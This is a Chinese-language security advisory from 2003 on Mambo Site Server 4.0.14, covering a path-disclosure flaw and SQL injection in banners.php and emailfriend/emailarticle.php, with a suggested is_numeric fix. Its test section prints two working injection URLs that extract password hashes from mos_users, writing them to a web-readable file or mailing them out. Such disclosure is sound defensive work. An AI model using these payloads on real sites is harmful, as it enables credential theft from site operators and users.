发布日期：2003-09-18
更新日期：2003-09-23

受影响系统：

Mambo Mambo Site Server 4.0.14

描述：

---

BUGTRAQ  ID: 8647

Mambo Site Server是一款免费开放源代码WEB内容管理工具，由PHP编写。

Mambo Site Server存在多个漏洞，远程攻击者可以利用这些问题获得路径信息或者密码敏感信息

第一个漏洞是banners.php脚本对没有参数的请求处理不正确，攻击者提交特殊请求，可返回包含安装路径的信息给客户端。

第二个漏洞存在于"emailfriend/emailarticle.php"文件中，由于对$id变量缺少充分检查，提交特殊请求可导致获得md5()密码并邮寄给攻击者。

<*来源：Lifo Fifo （lifofifo20@yahoo.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=106391835212725&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Lifo Fifo （lifofifo20@yahoo.com）提供了如下测试方法：

http://localhost/mambo/banners.php?op=click&bid=100 UNION select password from mos_users
where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'

http://localhost/mambo/emailfriend/emailarticle php?submit=submit&email=lifofifo hackingzone org&youremail=webmaster hackingzone org&id=100
UNION select username,email,password
from mos_users where id=1

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 在"emailfriend/emailarticle.php"脚本中最开始增加如下代码：

----
if(!is_numeric($id))
    die("Hacking Attempt");
----

厂商补丁：

Mambo
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/mambo

浏览次数：2708
严重程度：0（网友投票）